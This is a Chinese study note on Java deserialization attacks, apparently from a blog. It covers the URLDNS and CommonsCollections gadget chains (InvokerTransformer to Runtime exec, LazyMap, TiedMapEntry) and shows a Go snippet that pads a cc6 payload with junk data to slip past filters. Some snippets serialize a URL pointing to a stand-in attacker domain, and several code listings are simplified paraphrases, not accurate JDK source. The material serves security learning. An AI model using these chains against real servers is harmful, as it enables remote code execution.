JAVA漫谈反序列化篇——笔记

最近在看P神的《Java安全漫谈》,故留下此篇笔记,方便后续忘记了,回头翻一翻

⼀个里程碑式的⼯具,ysoserial。

整个 URLDNS 的Gadget其实清晰又简单:

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

​ Java相对PHP序列化更深入的地方在于,其提供了更加高级、灵活地方法 writeObject ,允许开发者 在序列化流中插入一些自定义数据,进而在反序列化的时候能够使用 readObject 进行读取。

classAnnotations是什么?

​ classAnnotations是Java序列化过程中的一个关键概念,它存储在ObjectStreamClass`中,用于记录与类相关的附加信息:

CommonsCollections库

概念 :一个提供额外数据结构和算法的Java库,用于增加Collection接口功能、装饰器模式实现、数据处理操作。

利用点:利用了开发者对第三方库的信任,通过合理的API调用实现了代码执行,完美地绕过了传统的安全检查。

核心接口和类

java 复制代码
// Transformer接口 - 核心组件
public interface Transformer {
    Object transform(Object input);
}

// 关键实现类
public class ConstantTransformer implements Transformer {
    private final Object iConstant;
    
    public Object transform(Object input) {
        return iConstant; // 总是返回常量值
    }
}

public class InvokerTransformer implements Transformer {
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;
    
    public Object transform(Object input) {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    }
}

1.链式执行逻辑

txt 复制代码
输入: 任意对象
第1步: ConstantTransformer.transform() → 返回Runtime.class
第2步: InvokerTransformer("getMethod").transform() → 获取getMethod方法
第3步: InvokerTransformer("invoke").transform() → 调用getRuntime方法
第4步: InvokerTransformer("exec").transform() → 执行命令

2. 反序列化触发点

java 复制代码
// 攻击者利用LazyMap触发链式调用
public class LazyMap extends AbstractMapDecorator {
    private final Transformer factory;
    
    public Object get(Object key) {
        // 触发transformer调用
        return factory.transform(key);
    }
}

URLDNS

1. 基本概念

  • URLDNS:Java URL对象的反序列化链
  • 主要功能:通过反序列化触发DNS查询
  • 用途:验证反序列化漏洞是否存在

关键词:URL

2. 技术原理

java 复制代码
// 核心攻击组件 - URL对象的反序列化
public class URL implements java.io.Serializable {
    private String protocol;
    private String host;
    private int port;
    
    private void readObject(ObjectInputStream ois) 
        throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        
        // 反序列化时自动触发getHostAddress()调用
        // 这会发起DNS查询!
        if (host != null) {
            getHostAddress(); // 关键:触发DNS解析
        }
    }
}

攻击机制详解

1. DNS触发原理
java 复制代码
// URL对象构造时的DNS查询触发
public InetAddress getHostAddress() {
    if (hostAddress == null) {
        hostAddress = InetAddress.getByName(host); // 发起DNS查询
    }
    return hostAddress;
}
2. 完整的利用链
java 复制代码
public class URLDNSExploit {
    public static void main(String[] args) throws Exception {
        // 构造恶意URL对象
        URL url = new URL("http://attacker-controlled-domain.com");
        
        // 序列化URL对象
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(url);
        oos.close();
        
        // 发送到目标系统进行反序列化
        byte[] exploitData = baos.toByteArray();
        // ... 传输并触发反序列化 ...
    }
}
3. 反序列化触发流程
复制代码
反序列化URL对象 → readObject() → defaultReadObject() → 
getHostAddress() → InetAddress.getByName() → DNS查询

Gadget是做什什么

  • Gadget:在计算机安全中,指的是可以组合使用的代码片段或功能模块
  • 核心思想:利用现有的良性代码构建恶意攻击链
  • 形象比喻:像"乐高积木"一样,可以拼接不同的功能块来构建攻击

1. 什么是反序列化Gadget链?

java

java 复制代码
// 将多个良性代码组合成攻击链
public class ChainedGadget {
    public Object executeChain(Object startInput) {
        // 第一步:获取Runtime类
        Object step1 = TransformerA.transform(startInput); // 返回Runtime.class
        
        // 第二步:获取getRuntime方法
        Object step2 = TransformerB.transform(step1); // 获取getMethod
        
        // 第三步:调用getRuntime
        Object step3 = TransformerB.transform(step2); // invoke
        
        // 第四步:执行命令
        Object step4 = TransformerC.transform(step3); // exec命令
        
        return step4;
    }
}

2. 完整的Gadget链构建

复制代码
输入: 恶意序列化数据
↓
Gadget 1: ConstantTransformer → 返回固定值
↓
Gadget 2: InvokerTransformer → 反射调用方法
↓  
Gadget 3: ChainedTransformer → 链式执行
↓
Gadget 4: LazyMap → 触发链执行
↓
Gadget 5: BadAttributeValueExpException → 反序列化入口
↓
输出: 代码执行

经典Gadget案例分析

1. CommonsCollections Gadget链

java

java 复制代码
// 步骤1: 基础Transformer
Transformer[] chain = new Transformer[] {
    new ConstantTransformer(Runtime.class),    // Gadget 1
    new InvokerTransformer("getMethod", ...), // Gadget 2
    new InvokerTransformer("invoke", ...),     // Gadget 3
    new InvokerTransformer("exec", ...)        // Gadget 4
};

// 步骤2: 链式组合
ChainedTransformer chained = new ChainedTransformer(chain); // Gadget 5

// 步骤3: 触发器
Map lazyMap = LazyMap.decorate(new HashMap(), chained); // Gadget 6

// 步骤4: 序列化包装
BadAttributeValueExpException exception = new BadAttributeValueExpException();
setFieldValue(exception, "val", lazyMap); // Gadget 7

2. URLDNS Gadget

java

java 复制代码
// 单一Gadget示例
public class URLGadget {
    private void readObject(ObjectInputStream ois) {
        ois.defaultReadObject();
        
        // 这个方法本身就构成了一个Gadget
        if (host != null) {
            getHostAddress(); // 触发DNS查询
        }
    }
}

当你兴冲冲地拿着这串序列化流,跑到服务器上进行反序列化时就会发现,又无法成功执行命令了。这又是为什么呢?

​ 在java8以后大概是2015年12月的时候,Java官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数

如何破局?

​ 解决Java⾼版本利⽤问题,实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get() 的地⽅

欲触发LazyMap利⽤链,要找到就是哪⾥调⽤了 TiedMapEntry#hashCode

LazyMap究竟又是什么呢

​ LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执 行transform,而LazyMap是在其get方法中执行的 factory.transform 。

如何构造一个包含垃圾数据的序列化流

复制代码
package main
import (
"github.com/phith0n/zkar/serz"
"io/ioutil"
"log"
)
func main() {
data, _ := ioutil.ReadFile("cc6.ser")
serialization, err := serz.FromBytes(data)
if err != nil {
log.Fatal("parse error")
}
var contents []*serz.TCContent
for i := 0; i < 5000; i++ {
var blockData = &serz.TCContent{
Flag: serz.JAVA_TC_RESET,
}
contents = append(contents, blockData)
}
serialization.Contents = append(contents, serialization.Contents...)
ioutil.WriteFile("cc6-padding.ser", serialization.ToBytes(), 0o755)
}
相关推荐
PyGata2 小时前
CMake学习笔记(二):CMake拷贝文件夹
c++·笔记·学习
摇滚侠2 小时前
Redis 零基础到进阶,Redis 事务,Redis 管道,Redis 发布订阅,笔记47-54
数据库·redis·笔记
小蜗笔记2 小时前
ABM模型库的笔记
笔记
悠哉悠哉愿意2 小时前
【嵌入式学习笔记】从单片机到嵌入式过渡
笔记·单片机·嵌入式硬件·学习
练习时长一年2 小时前
LeetCode热题100(最小栈)
java·算法·leetcode
阿杰AJie2 小时前
通用 Token 管理工具(详细注释 + 完整使用示例 + 设计说明)
java·后端·程序员
TH_12 小时前
28、powershell快速删除 node_modules
java
一 乐2 小时前
智慧医药|基于springboot + vue智慧医药系统(源码+数据库+文档)
java·前端·数据库·vue.js·spring boot·后端
ytttr8732 小时前
基于 C# WinForm 实现的 电影院售票系统
开发语言·c#